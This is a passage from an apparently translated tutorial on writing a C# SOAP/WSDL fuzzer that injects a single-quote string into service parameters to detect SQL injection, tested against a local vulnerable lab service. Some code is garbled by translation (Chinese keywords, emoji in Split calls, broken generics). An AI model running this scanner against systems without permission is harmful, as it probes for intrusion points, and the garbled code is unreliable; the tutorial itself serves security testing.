因为这些方法仅在 WSDL 构造函数内部调用,所以我们使用private关键字,这样只有 WSDL 类才能访问它们。ParseTypes()方法接受一个 WSDL 文档和命名空间管理器(用于解析 WSDL 文档中的命名空间)作为参数。接下来,我们实例化一个新的 List 对象,并将其分配给 Types 属性。然后,我们使用 C#中 XML 文档的 XPath 功能,遍历 WSDL 中的 XML 元素。XPath 允许程序员根据文档中的节点路径遍历和使用 XML 文档。在这个示例中,我们使用 XPath 查询➊来枚举文档中的所有 SOAP 类型节点,使用SelectNodes()方法。然后,我们遍历这些 SOAP 类型,并将每个节点传递给SoapType类构造函数,这是我们在进入初始解析方法后将实现的类之一。最后,我们将新实例化的SoapType对象添加到 WSDL 类的 SoapType 列表属性中。
很简单,对吧?我们将采用这种使用 XPath 查询遍历特定节点的模式,再做几次,以便从 WSDL 文档中获取其他几种我们需要的节点类型。XPath 非常强大,对于 C#语言的使用也非常合适。
现在我们将实现 WSDL 构造函数中调用的下一个方法来解析 WSDL 文档,即ParseMessages(),如 Listing 3-4 所示。
private void ParseMessages(XmlDocument wsdl, XmlNamespaceManager nsManager)
{
this.Messages = new List
(); string xpath = ➊"/wsdl:definitions/wsdl:message";
XmlNodeList nodes = wsdl.DocumentElement.SelectNodes(xpath, nsManager);
foreach (XmlNode node in nodes)
this.Messages.Add(new SoapMessage(node));
}
Listing 3-4: WSDL 类构造函数中调用的ParseMessages()方法
首先,我们需要实例化并分配一个新的 List 来保存 SoapMessage 对象。(SoapMessage 是我们将在“创建 SoapMessage 类来定义发送的数据”一节中实现的类,见第 60 页。)使用 XPath 查询➊从 WSDL 文档中选择消息节点,我们遍历 SelectNodes()方法返回的节点,并将它们传递给 SoapMessage 构造函数。这些新实例化的对象将被添加到 WSDL 类的 Messages 属性中,以便稍后使用。
从 WSDL 类调用的接下来几个方法与前面两个类似。到现在为止,鉴于前面两个方法的工作方式,它们应该对你来说相对直接。这些方法的详细信息请见清单 3-5。
private void ParsePortTypes(XmlDocument wsdl, XmlNamespaceManager nsManager)
{
this.PortTypes = new List
(); string xpath = "/wsdl:definitions/wsdl:portType";
XmlNodeList nodes = wsdl.DocumentElement.SelectNodes(xpath, nsManager);
foreach (XmlNode node in nodes)
this.PortTypes.Add(new SoapPortType(node));
}
private void ParseBindings(XmlDocument wsdl, XmlNamespaceManager nsManager)
{
this.Bindings = new List
(); string xpath = "/wsdl:definitions/wsdl:binding";
XmlNodeList nodes = wsdl.DocumentElement.SelectNodes(xpath, nsManager);
foreach (XmlNode node in nodes)
this.Bindings.Add(new SoapBinding(node));
}
private void ParseServices(XmlDocument wsdl, XmlNamespaceManager nsManager)
{
this.Services = new List
(); string xpath = "/wsdl:definitions/wsdl:service";
XmlNodeList nodes = wsdl.DocumentElement.SelectNodes(xpath, nsManager);
foreach (XmlNode node in nodes)
this.Services.Add(new SoapService(node));
}
清单 3-5:WSDL 类中其余的初始解析方法
为了填充 PortTypes、Bindings 和 Services 属性,我们使用 XPath 查询来查找并遍历相关节点;然后我们实例化特定的 SOAP 类(接下来将实现这些类),并将它们添加到列表中,以便在稍后需要构建 WSDL 模糊测试逻辑时使用。
这就是 WSDL 类的全部内容。一个构造函数,几个存储与 WSDL 类相关数据的属性,以及一些解析 WSDL 文档的方法,这些就是你开始工作的全部内容。接下来我们需要实现支持类。在解析方法中,我们使用了一些尚未实现的类(SoapType、SoapMessage、SoapPortType、SoapBinding 和 SoapService)。我们将从 SoapType 类开始。
为 SOAP 类型和参数编写一个类
为了完成 ParseTypes()方法,我们需要实现 SoapType 类。SoapType 类是一个相对简单的类。它只需要一个构造函数和几个属性,如清单 3-6 所示。
public class SoapType
{
public SoapType(XmlNode type)
{
this.Name = type.➊Attributes["name"].Value;
this.Parameters = new List
(); if (type.➋HasChildNodes && type.FirstChild.HasChildNodes)
{
foreach (XmlNode node in type.➌FirstChild.FirstChild.➍ChildNodes)
this.Parameters.Add(new SoapTypeParameter(node));
}
}
public string Name { get; set; }
public List
Parameters { get; set; } }
清单 3-6:在 WSDL 模糊测试中使用的 SoapType 类
SoapType 构造函数中的逻辑与前面解析方法中的逻辑类似(见 清单 3-4 和 3-5),不同之处在于我们没有使用 XPath 来枚举我们正在遍历的节点。我们本可以使用 XPath,但我想展示另一种遍历 XML 节点的方式。通常,当你解析 XML 时,XPath 是首选方法,但 XPath 可能会计算量较大。在这种情况下,我们将写一个 if 语句来检查是否需要遍历子节点。在这个特定实例中,使用 foreach 循环遍历子节点来找到相关的 XML 元素,比使用 XPath 的代码要少一些。
SoapType 类有两个属性:一个是 Name 属性,类型为字符串,另一个是参数列表(SoapTypeParameter 类,稍后我们会实现)。这两个属性都在 SoapType 构造函数中使用,并且是公有的,以便稍后在类外部使用。
我们使用传入构造函数参数的节点的 Attributes 属性 ➊ 来检索节点的 name 属性。name 属性的值被赋给 SoapType 类的 Name 属性。我们还实例化了 SoapTypeParameter 列表,并将新对象赋给 Parameters 属性。完成这一步后,我们使用 if 语句判断是否需要遍历子节点,因为我们没有使用 XPath 来遍历任何子节点。通过使用 HasChildNodes 属性 ➋,它返回一个布尔值,我们可以判断是否需要遍历子节点。如果节点有子节点,且该节点的第一个子节点也有子节点,我们就会遍历它们。
每个 XmlNode 类都有一个 FirstChild 属性和一个 ChildNodes 属性 ➊,返回可遍历的子节点列表。在 foreach 循环中,我们使用一系列 FirstChild 属性 ➌ 来遍历传入节点的第一个子节点的第一个子节点的子节点。
传递给 SoapType 构造函数的 XML 节点示例如 清单 3-7 中所示。
在遍历传入的 SoapType 节点的相关子节点之后,我们通过将当前子节点传入 SoapTypeParameter 构造函数来实例化一个新的 SoapTypeParameter 类。新对象被存储在 Parameters 列表中,以便以后访问。
<xs:element name="AddUser">
<xs:element minOccurs="0" maxOccurs="1" name="username" type="xs:string"/>
<xs:element minOccurs="0" maxOccurs="1" name="password" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element> Listing 3-7: 示例 SoapType XML
现在,让我们创建 SoapTypeParameter 类。SoapTypeParameter 类也相对简单。事实上,不需要对子节点进行迭代,只需进行基本的信息收集,正如 Listing 3-8 所示。
public class SoapTypeParameter
{
public SoapTypeParameter(XmlNode node)
{
➊如果 (node.Attributes["maxOccurs"].Value == "unbounded")
this.MaximumOccurrence = int.MaxValue;
else
this.MaximumOccurrence = int.Parse(node.Attributes["maxOccurs"].Value);
this.MinimumOccurrence = int.Parse(node.Attributes["minOccurs"].Value);
this.Name = node.Attributes["name"].Value;
this.Type = node.Attributes["type"].Value;
}
public int MinimumOccurrence { get; set; }
public int MaximumOccurrence { get; set; }
public string Name { get; set; }
public string Type { get; set; }
}
Listing 3-8: SoapTypeParameter 类
传递给 SoapTypeParameter 构造函数的 XML 节点示例如 Listing 3-9 所示。
<xs:element minOccurs="0" maxOccurs="1" name="username" type="xs:string"/> Listing 3-9: 传递给 SoapTypeParameter 构造函数的示例 XML 节点
给定一个像这样的 XML 节点,我们可以预期在我们的方法中发生一些事情。首先,这是一个非常基本的 WSDL 参数,定义了一个名为 username 的参数,其类型为 string。它至少可以出现零次,最多一次。仔细查看 Listing 3-8 中的代码,你会注意到有一个 if 语句 ➊ 检查 maxOccurs 的值。与 minOccurs 不同,maxOccurs 可以是一个整数或字符串值 unbounded,因此我们需要在将其传递给 int.Parse() 方法之前检查 maxOccurs 的值,以确认它的具体值。
在我们的 SoapTypeParameter 构造函数中,我们首先根据节点的 maxOccurs 属性赋值 MaximumOccurrence 属性。然后根据相应的节点属性赋值 MinimumOccurrence、Name 和 Type 属性。
创建 SoapMessage 类以定义发送数据
SOAP 消息定义了一组数据,Web 服务为某个操作预期接收或响应这些数据。它引用了之前解析的 SOAP 类型和参数,以向客户端应用程序呈现数据或从中获取数据,并由多个部分组成,这个“部分”是技术术语。SOAP 1.1 消息 XML 元素的示例如 Listing 3-10 所示。
Listing 3-10: 示例 SOAP 消息 XML 元素
我们的 SoapMessage 类,它消费像 Listing 3-10 中的 XML 元素,详见 Listing 3-11。
public class SoapMessage
{
public SoapMessage(XmlNode node)
{
this.Name = ➊node.Attributes["name"].Value;
this.Parts = new List
(); 如果 (node.HasChildNodes)
{
foreach (XmlNode part in node.ChildNodes)
this.Parts.Add(new SoapMessagePart(part));
}
}
public string Name { get; set; }
public List
Parts { get; set; } }
清单 3-11:SoapMessage 类
首先,我们将消息的名称分配给 SoapMessage 类的 Name 属性 ➊。然后,我们实例化一个新的名为 SoapMessagePart 的部分列表,并遍历每个
为消息部分实现一个类
像我们之前实现的 SOAP 类一样,SoapMessagePart 类是一个简单的类,如清单 3-12 所示。
public class SoapMessagePart
{
public SoapMessagePart(XmlNode part)
{
this.Name = ➊part.Attributes["name"].Value;
if (➋part.Attributes["element"] != null)
this.Element = part.Attributes["element"].Value;
else if ( part.Attributes["type"].Value != null)
this.Type = part.Attributes["type"].Value;
else
throw new ArgumentException("Neither element nor type is set.", "part");
}
public string Name { get; set; }
public string Element { get; set; }
public string Type { get; set; }
}
清单 3-12:SoapMessagePart 类
SoapMessagePart 类的构造函数接受一个 XmlNode 类型的单一参数,该参数包含了 SoapMessage 中部分的名称、类型或元素。SoapMessagePart 类定义了三个公共属性:部分的 Name、Type 和 Element,都是字符串类型。首先,我们将部分的名称存储在 Name 属性中 ➊。然后,如果存在名为 element 的属性 ➋,我们将 element 属性的值赋给 Element 属性。如果 element 属性不存在,则必须存在 type 属性,此时我们将 type 属性的值赋给 Type 属性。这三个属性中,只会为任何给定的 SOAP 部分设置其中的两个——SOAP 部分总是具有 Name 属性,并且有一个 Type 或 Element 属性。Type 或 Element 会根据部分是简单类型(如字符串或整数)还是由另一个 XML 元素包裹的复杂类型来决定。我们需要为每种类型的参数创建一个类,我们将从实现 Type 类开始。
使用 SoapPortType 类定义端口操作
在定义了 SoapMessage 和 SoapMessagePart 类以完成 清单 3-4 中的 ParseMessages() 方法之后,我们继续创建 SoapPortType 类,它将完成 ParsePortTypes() 方法。SOAP 端口类型定义了在给定端口上可用的操作(不要与网络端口混淆),其解析过程在清单 3-13 中详细介绍。
public class SoapPortType
{
public SoapPortType(XmlNode node)
{
this.Name = ➊node.Attributes["name"].Value;
this.Operations = new List
(); foreach (XmlNode op in node.ChildNodes)
this.Operations.Add(new SoapOperation(op));
}
public string Name { get; set; }
public List
Operations { get; set; } }
清单 3-13:在 ParsePortTypes() 方法中使用的 SoapPortType 类
这些 SOAP 类如何工作的模式是延续的:在示例 3-13 中的 SoapPortType 类定义了一个小的构造函数,该构造函数接受来自 WSDL 文档的 XmlNode。它需要两个公共属性:一个 SoapOperation 列表和一个 Name 字符串。在 SoapPortType 构造函数中,我们首先将 Name 属性 ➊ 分配给 XML 的 name 属性。然后,我们创建一个新的 SoapOperation 列表,并遍历 portType 元素中的每个子节点。我们在遍历时,将子节点传递给 SoapOperation 构造函数(在下一节中我们将构建这个构造函数),并将生成的 SoapOperation 存储在我们的列表中。一个来自 WSDL 文档的 XML 节点示例,它将传递给 SoapPortType 类构造函数,如示例 3-14 所示。
正如你所看到的,portType 元素包含我们将能够执行的操作,例如列出、创建和删除用户。每个操作都映射到一个特定的消息,我们在示例 3-11 中进行了解析。
为端口操作实现一个类
为了使用来自 SoapPortType 类构造函数的操作,我们需要创建 SoapOperation 类,如示例 3-15 所示。
public class SoapOperation
{
public SoapOperation(XmlNode op)
{
this.Name = ➊op.Attributes["name"].Value;
foreach (XmlNode message in op.ChildNodes)
{
if (message.Name.EndsWith("input"))
this.Input = message.Attributes["message"].Value;
else if (message.Name.EndsWith("output"))
this.Output = message.Attributes["message"].Value;
}
}
public string Name { get; set; }
public string Input { get; set; }
public string Output { get; set; }
}
示例 3-15:SoapOperation 类
SoapOperation 构造函数接受一个 XmlNode 作为唯一的参数。我们做的第一件事是将 SoapOperation 类中的一个属性 Name ➊ 分配给传递给构造函数的操作 XML 元素的 name 属性。然后,我们遍历每个子节点,检查元素的名称是否以 "input" 或 "output" 结尾。如果子节点的名称以 "input" 结尾,我们将 Input 属性分配给输入元素的名称。否则,我们将 Output 属性分配给输出元素的名称。现在,SoapOperation 类已经实现,我们可以继续完成 ParseBindings() 方法所需的类。
定义 SOAP 绑定中使用的协议
绑定的两种常见类型是 HTTP 和 SOAP。看似冗余,但 HTTP 绑定通过通用的 HTTP 协议传输数据,使用 HTTP 查询字符串或 POST 参数。SOAP 绑定则使用 SOAP 1.0 或 SOAP 1.1 协议,通过简单的 TCP 套接字或命名管道进行数据传输,数据以 XML 格式流动到达服务器。SoapBinding 类允许你根据绑定类型选择如何与给定的 SOAP 端口进行通信。
从 WSDL 中显示的一个示例绑定节点见 清单 3-16。
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<soap:operation soapAction="http://tempuri.org/AddUser" style="document"/>
<soap:body use="literal"/>
<soap:body use="literal"/>
清单 3-16:来自 WSDL 的示例绑定 XML 节点
为了解析这个 XML 节点,我们的类需要从绑定节点中提取一些关键信息,如 清单 3-17 所示。
public class SoapBinding
{
public SoapBinding(XmlNode node)
{
this.Name = ➊node.Attributes["name"].Value;
this.Type = ➋node.Attributes["type"].Value;
this.IsHTTP = false;
this.Operations = new List
(); foreach (XmlNode op in node.ChildNodes)
{
if (➌op.Name.EndsWith("operation"))
{
this.Operations.Add(new SoapBindingOperation(op));
}
else if (op.Name == "http:binding")
{
this.Verb = op.Attributes["verb"].Value;
this.IsHTTP = true;
}
}
}
public string Name { get; set; }
public List
Operations { get; set; } public bool IsHTTP { get; set; }
public string Verb { get; set; }
public string Type { get; set; }
}
清单 3-17:SoapBinding 类
在将 XmlNode 作为参数传递给 SoapBinding 构造函数后,我们首先将节点的 name 和 type 属性的值分别赋给 SoapBinding 类的 Name ➊ 和 Type ➋ 属性。默认情况下,我们将 IsHTTP 布尔属性设置为 false。IsHTTP 属性帮助我们确定如何发送我们要模糊测试的数据,可以使用 HTTP 参数或 SOAP XML。
当我们遍历子节点时,我们会测试每个子节点的名称是否以 "operation" ➌ 结尾。如果是,我们将该操作添加到 SoapBindingOperation 列表中。如果子节点的名称不以 "operation" 结尾,则该节点应该是一个 HTTP 绑定。我们通过 else if 语句确保这一点,并将 HTTP Verb 属性设置为子节点的 verb 属性值。我们还将 IsHTTP 设置为 true。Verb 属性应包含 GET 或 POST,这告诉我们数据是否会以查询字符串(GET)参数或 POST 参数的形式发送到 SOAP 端点。
接下来,我们将实现 SoapBindingOperation 类。
编译操作子节点列表
SoapBindingOperation 类是一个小类,在 SoapBinding 类构造函数中被使用。它定义了几个字符串属性,这些属性将根据传递给构造函数的操作节点赋值,如 Listing 3-18 所示。
public class SoapBindingOperation
{
public SoapBindingOperation(XmlNode op)
{
this.Name = ➊op.Attributes["name"].Value;
foreach (XmlNode node in op.ChildNodes)
{
if (➋node.Name == "http:operation")
this.Location = node.Attributes["location"].Value;
else if (node.Name == "soap:operation" || node.Name == "soap12:operation")
this.SoapAction = node.Attributes["soapAction"].Value;
}
}
public string Name { get; set; }
public string Location { get; set; }
public string SoapAction { get; set; }
}
Listing 3-18: SoapBindingOperation 类
使用传递给构造函数的 XmlNode,我们首先将 Name 属性 ➊ 设置为 XML 节点上的 name 属性值。操作节点包含几个子节点,但我们只关心三个特定的节点:http:operation、soap:operation 和 soap12:operation。当我们遍历子节点以找到我们关心的节点时,我们检查操作是否为 HTTP 操作。如果是 HTTP 操作 ➋,我们会存储该操作的端点位置,它是一个相对 URI,例如 /AddUser。如果是 SOAP 操作,我们会存储 SoapAction,它在对 SOAP 端点进行 SOAP 调用时会在特定的 HTTP 头中使用。当我们编写模糊测试逻辑时,这些信息将用于将数据发送到正确的端点。
寻找端口上的 SOAP 服务
在开始模糊测试之前,我们需要完成 WSDL 的解析。我们将实现另外两个小类,分别包含可用的 SOAP 服务和这些服务上的 SOAP 端口。我们必须首先实现 SoapService 类,如 Listing 3-19 所示。
public class SoapService
{
public SoapService(XmlNode node)
{
this.Name = ➊node.Attributes["name"].Value;
this.Ports = new List
(); foreach (XmlNode port in node.ChildNodes)
this.Ports.Add(new SoapPort(port));
}
public string Name { get; set; }
public List
Ports { get; set; } }
Listing 3-19: SoapService 类
SoapService 类只接受一个 XML 节点作为构造函数的参数。我们首先将服务的名称分配给类的 Name 属性 ➊,然后创建一个新的端口列表,称为 SoapPort。当我们遍历服务节点中的子节点时,我们使用每个子节点创建一个新的 SoapPort 并将该新对象添加到 SoapPort 列表中以供后续引用。
一个包含四个子端口节点的服务 XML 节点来自一个 WSDL 文档,如 Listing 3-20 所示。
<soap:address location="http://127.0.0.1:8080/Vulnerable.asmx"/>
<soap12:address location="http://127.0.0.1:8080/Vulnerable.asmx"/>
<http:address location="http://127.0.0.1:8080/Vulnerable.asmx"/>
<http:address location="http://127.0.0.1:8080/Vulnerable.asmx"/>
列表 3-20: WSDL 文档中的示例服务节点
最后一步是实现 SoapPort 类,完成 ParseServices()方法,然后完成 WSDL 的解析以进行模糊测试。SoapPort 类在列表 3-21 中展示。
public class SoapPort
{
public SoapPort(XmlNode port)
{
this.Name = ➊port.Attributes["name"].Value;
this.Binding = port.Attributes["binding"].Value;
this.ElementType = port.➋FirstChild.Name;
this.Location = port.FirstChild.Attributes["location"].Value;
}
public string Name { get; set; }
public string Binding { get; set; }
public string ElementType { get; set; }
public string Location { get; set; }
}
列表 3-21: SoapPort 类
为了完成 WSDL 文档的解析,我们从传递给 SoapPort 构造函数的 port 节点中获取一些属性。我们首先将端口的名称存储在 Name 属性中 ➊,将绑定信息存储在 Binding 属性中。然后,通过 FirstChild 属性 ➋引用端口节点的唯一子节点,我们将该子节点的名称和位置数据分别存储在 ElementType 和 Location 属性中。
最后,我们将 WSDL 文档拆分为可管理的片段,这将使我们能够轻松编写一个模糊测试器来发现潜在的 SQL 注入漏洞。通过将 WSDL 的各个部分描述为类,我们可以以编程方式驱动自动化漏洞检测和报告。
自动化模糊测试 SOAP 端点以检测 SQL 注入漏洞
现在,WSDL 模糊测试器的构建模块已经完成,我们可以开始进行真正的工具开发。使用 WSDL 类,我们可以以面向对象的方式与 WSDL 中的数据交互,这使得对 SOAP 端点的模糊测试变得更加容易。我们从编写一个新的 Main()方法开始,该方法接受一个参数(SOAP 端点的 URL),可以在其自己的 Fuzzer 类中的文件中创建,如列表 3-22 所示。
private static ➊WSDL _wsdl = null;
private static ➋string _endpoint = null;
public static void Main(string[] args)
{
_endpoint = ➌args[0];
Console.WriteLine("正在获取服务的 WSDL: " + _endpoint);
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(_endpoint + "?WSDL");
XmlDocument wsdlDoc = new XmlDocument();
使用 (WebResponse resp = req.GetResponse())
使用 (Stream respStream = resp.GetResponseStream())
wsdlDoc.➍Load(respStream);
_wsdl = new WSDL(wsdlDoc);
Console.WriteLine("已获取并加载 Web 服务描述。");
foreach (SoapService service in _wsdl.Services)
FuzzService(service);
}
列表 3-22:SOAP 端点模糊测试器的 Main()方法
我们首先在 Main()方法之前声明一些静态变量。这些变量将在我们编写的方法中使用。第一个变量是 WSDL 类 ➊,第二个变量存储 SOAP 端点的 URL ➋。
在 Main()方法中,我们将 _endpoint 变量赋值为传递给模糊测试器的第一个参数 ➌。然后我们打印一条友好的消息,提醒用户我们将获取 SOAP 服务的 WSDL。
在存储端点的 URL 后,我们创建一个新的 HttpWebRequest,通过在端点 URL 末尾附加?WSDL 来检索 SOAP 服务的 WSDL。我们还创建一个临时的 XmlDocument 来存储 WSDL 并传递给 WSDL 类构造函数。将 HTTP 响应流传递给 XmlDocument 的 Load()方法 ➍,我们将 HTTP 请求返回的 XML 加载到 XML 文档中。然后我们将生成的 XML 文档传递给 WSDL 类构造函数以创建一个新的 WSDL 对象。现在我们可以遍历每个 SOAP 端点服务并对其进行模糊测试。foreach 循环遍历 WSDL 类 Services 属性中的对象,并将每个服务传递给 FuzzService()方法,我们将在下一节中编写该方法。
模糊测试单个 SOAP 服务
FuzzService()方法接受一个 SoapService 作为参数,然后决定我们是否需要使用 SOAP 或 HTTP 参数对服务进行模糊测试,如列表 3-23 所示。
static void FuzzService(SoapService service)
{
Console.WriteLine("正在模糊测试服务: " + service.Name);
foreach (SoapPort port in service.Ports)
{
Console.WriteLine("正在模糊测试 " + port.ElementType.Split('😂[0] + " 端口: " + port.Name);
SoapBinding binding = _wsdl.Bindings.➊Single(b => b.Name == port.Binding.Split('😂[1]);
if (binding.➋IsHTTP)
FuzzHttpPort(binding);
else
FuzzSoapPort(binding);
}
}
列表 3-23:用于确定如何对给定的 SoapService 进行模糊测试的 FuzzService()方法
在打印出我们将进行模糊测试的当前服务后,我们遍历服务的 Ports 属性中的每个 SOAP 端口。使用语言集成查询(LINQ)Single()方法 ➊,我们选择与当前端口对应的单个 SoapBinding。然后我们测试该绑定是否为普通的 HTTP 或基于 XML 的 SOAP。如果绑定是 HTTP 绑定 ➋,我们将其传递给 FuzzHttpPort()方法进行模糊测试。否则,我们假设绑定是 SOAP 绑定,并将其传递给 FuzzSoapPort()方法。
现在让我们实现 FuzzHttpPort()方法。在处理 SOAP 时,可能的 HTTP 端口有两种:GET 和 POST。FuzzHttpPort()方法决定了在模糊测试期间发送 HTTP 请求时将使用哪种 HTTP 动词,如列表 3-24 所示。
static void FuzzHttpPort(SoapBinding binding)
{
if (binding.Verb == "GET")
FuzzHttpGetPort(binding);
else if (binding.Verb == "POST")
FuzzHttpPostPort(binding);
else
throw new Exception("无法识别的 verb: " + binding.Verb);
}
示例 3-24:FuzzHttpPort() 方法
FuzzHttpPort() 方法非常简单。它测试 SoapBinding 属性 Verb 是否等于 GET 或 POST,然后将绑定传递给相应的方法—FuzzHttpGetPort() 或 FuzzHttpPostPort()。如果 Verb 属性既不等于 GET 也不等于 POST,则会抛出异常,提醒用户我们不知道如何处理给定的 HTTP 动词。
现在我们已经创建了 FuzzHttpPort() 方法,接下来实现 FuzzHttpGetPort() 方法。
创建 Fuzz 的 URL
这两个 HTTP 模糊测试方法比之前的模糊器方法要复杂一些。FuzzHttpGetPort() 方法的前半部分(在示例 3-25 中介绍)构建了初始的 fuzz URL。
static void FuzzHttpGetPort(SoapBinding binding)
{
SoapPortType portType = _wsdl.PortTypes.➊Single(pt => pt.Name == binding.Type.Split('😂[1]);
foreach (SoapBindingOperation op in binding.Operations)
{
Console.WriteLine("正在模糊操作: " + op.Name);
string url = ➋_endpoint + op.Location;
SoapOperation po = portType.Operations.Single(p => p.Name == op.Name);
SoapMessage input = _wsdl.Messages.Single(m => m.Name == po.Input.Split('😂[1]);
Dictionary<string, string> parameters = new Dictionary<string, string>();
foreach (SoapMessagePart part in input.Parts)
parameters.Add(part.Name, part.Type);
bool ➌first = true;
List
guidList = new List (); foreach (var param in parameters)
{
if (param.Value.EndsWith("string"))
{
Guid guid = Guid.NewGuid();
guidList.Add(guid);
url ➍+= (first ?➎ "?" : "&") + param.Key + "=" + guid.ToString();
}
first = false;
}
示例 3-25:FuzzHttpGetPort() 方法的前半部分,我们构建了初始的 fuzz URL
在 FuzzHttpGetPort() 方法中,我们首先使用 LINQ ➊ 从 WSDL 类中选择与当前 SOAP 绑定对应的端口类型。接着,我们遍历当前绑定的 Operations 属性,该属性包含了有关我们可以调用的每个操作及其调用方式的信息。在遍历时,我们会打印出将要进行 fuzz 的操作。然后,我们通过将当前操作的 Location 属性附加到我们在 Main() 方法开始时设置的 _endpoint 变量上,创建我们将用于 HTTP 请求的 URL。我们使用 LINQ 方法 Single() 从 portType 的 Operations 属性中选择当前的 SoapOperation(不要与 SoapBindingOperation 混淆!)。我们还使用相同的 LINQ 方法选择作为当前操作输入的 SoapMessage,这告诉我们当前操作在被调用时期望什么样的信息。
一旦我们获得了设置 GET URL 所需的信息,我们创建一个字典来存储将要发送的 HTTP 参数名称和参数类型。我们通过 foreach 循环遍历每个输入部分。在遍历过程中,我们将每个参数的名称和类型(在这种情况下始终为字符串)添加到字典中。当我们将所有的参数名称和其相应类型存储在一起后,我们可以构建最初的 URL 进行模糊测试。
首先,我们定义一个名为 first ➌ 的布尔值,用于确定附加到操作 URL 的参数是否为第一个参数。这一点非常重要,因为第一个查询字符串参数总是通过问号 (?) 与基本 URL 分隔,而后续参数则通过与号 (&) 分隔,因此我们需要确保区分清楚。接着,我们创建一个 Guid 列表,用于存储我们与参数一起发送的唯一值,以便在 FuzzHttpGetPort() 方法的后半部分引用它们。
接下来,我们使用 foreach 循环遍历参数字典。在这个 foreach 循环中,我们首先测试当前参数的类型是否为字符串。如果是字符串,我们创建一个新的 Guid,用作参数的值;然后我们将新的 Guid 添加到我们创建的列表中,以便稍后引用它。接着,我们使用 += 操作符 ➍将参数和新值附加到当前 URL。通过三元操作符 ➎,我们决定是否应为参数添加问号或与号前缀。这是根据 HTTP 协议定义的 HTTP 查询字符串参数的方式。如果当前参数是第一个参数,它将以问号作为前缀,否则它将以与号作为前缀。最后,我们将参数设置为 false,以便后续参数将使用正确的分隔符。
模糊化已创建的 URL
在使用查询字符串参数创建 URL 后,我们可以发送 HTTP 请求,同时有系统地将参数值替换为可能引发 SQL 错误的污染值,如清单 3-26 所示。代码的后半部分完成了 FuzzHttpGetPort() 方法。
Console.WriteLine("正在模糊化完整 URL:" + url);
int k = 0;
foreach(Guid guid in guidList)
{
string testUrl = url.➊Replace(guid.ToString(), "fd'sa");
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(testUrl);
string resp = string.Empty;
try
{
使用 (StreamReader rdr = new ➋StreamReader(req.GetResponse().GetResponseStream()))
resp = rdr.ReadToEnd();
}
➌catch (WebException ex)
{
使用 (StreamReader rdr = new StreamReader(ex.Response.GetResponseStream()))
resp = rdr.ReadToEnd();
if (resp.Contains("syntax error"))
Console.WriteLine("可能的 SQL 注入向量在参数:" + input.➍Parts[k].Name);
}
k++;
}
}
}
清单 3-26:FuzzHttpGetPort() 方法的后半部分,发送 HTTP 请求
现在我们已经得到了要进行模糊测试的完整 URL,我们将其打印出来供用户查看。我们还声明了一个整数 k,在遍历 URL 中的参数值时会递增,以便跟踪可能存在漏洞的参数。接着,使用 foreach 循环,我们遍历用作参数值的 Guid 列表。在 foreach 循环内,我们首先做的是使用 Replace()方法将当前的 Guid 替换为字符串"fd'sa" ➊,这应该会污染任何使用该值而未进行适当清理的 SQL 查询。然后,我们使用修改后的 URL 创建一个新的 HTTP 请求,并声明一个名为 resp 的空字符串,用于存放 HTTP 响应。
在一个 try/catch 块中,我们尝试使用 StreamReader ➋读取来自服务器的 HTTP 请求响应。如果服务器返回 500 错误(当服务器端发生 SQL 异常时会发生此情况),读取响应将导致异常。如果抛出异常,我们将在 catch 块中捕获异常 ➌,并再次尝试从服务器读取响应。如果响应包含字符串语法错误,我们将打印一条消息,提醒用户当前的 HTTP 参数可能容易受到 SQL 注入攻击。为了精确告诉用户哪个参数可能存在漏洞,我们使用整数 k 作为 Parts 列表的索引 ➍,并检索当前属性的 Name。当一切完成后,我们将整数 k 递增 1,并用新值重新开始 foreach 循环进行测试。
这就是进行 HTTP GET SOAP 端口模糊测试的完整方法。接下来,我们需要实现 FuzzHttpPostPort()来对 POST SOAP 端口进行模糊测试。
对 HTTP POST SOAP 端口进行模糊测试
对给定的 SOAP 服务进行 HTTP POST SOAP 端口模糊测试与进行 GET SOAP 端口模糊测试非常相似。唯一的区别是数据作为 HTTP POST 参数而非查询字符串参数发送。当将 HTTP POST 端口的 SoapBinding 传递给 FuzzHttpPostPort()方法时,我们需要遍历每个操作,并系统地污染发送到操作的数据,以引发 Web 服务器的 SQL 错误。列表 3-27 显示了 FuzzHttpPostPort()方法的前半部分。
static void FuzzHttpPostPort(SoapBinding binding)
{
➊SoapPortType portType = _wsdl.PortTypes.Single(pt => pt.Name == binding.Type.Split('😂[1]);
foreach (SoapBindingOperation op in binding.Operations)
{
Console.WriteLine("模糊测试操作:" + op.Name);
string url = _endpoint + op.Location;
➋SoapOperation po = portType.Operations.Single(p => p.Name == op.Name);
SoapMessage input = _wsdl.Messages.Single(m => m.Name == po.Input.Split('😂[1]);
Dictionary<string, string> parameters = new ➌Dictionary<string, string>();
foreach (SoapMessagePart part in input.Parts)
parameters.Add(part.Name, part.Type); 列表 3-27:在 FuzzHttpPostPort()方法中确定要进行模糊测试的操作和参数
首先,我们选择与传递给方法的 SoapBinding 对应的 SoapPortType ➊。然后,我们遍历每个 SoapBindingOperation,以使用 foreach 循环确定当前的 SoapBinding。在遍历过程中,我们打印出一条消息,指定当前正在 fuzzing 的操作,然后构建要发送 fuzzing 数据的 URL。我们还为 portType 变量选择对应的 SoapOperation ➋,以便我们能找到需要的 SoapMessage,其中包含我们需要发送给 Web 服务器的 HTTP 参数。获得所有构建和有效请求 SOAP 服务所需的信息后,我们构建一个小的字典 ➌,包含参数名及其类型,供后续遍历。
现在我们可以构建将发送到 SOAP 服务的 HTTP 参数,如 Listing 3-28 所示。继续将这段代码输入到 FuzzHttpPostPort() 方法中。
string postParams = string.Empty;
bool first = true;
List
guids = new List (); foreach (var param in parameters)
{
if (param.Value.➊EndsWith("string"))
{
Guid guid = Guid.NewGuid();
postParams += (first ➋? "" : "&") + param.Key + "=" + guid.ToString();
guids.Add(guid);
}
if (first)
first = ➌false;
}
Listing 3-28: 构建要发送到 POST HTTP SOAP 端口的 POST 参数
现在我们已经拥有了构建 POST 请求所需的所有数据。我们声明一个字符串来保存 POST 参数,并声明一个布尔值来决定是否在参数前添加一个 "&" 符号,以分隔 POST 参数。我们还声明了一个 Guid 列表,以便后续在方法中使用时存储我们添加到 HTTP 参数中的值。
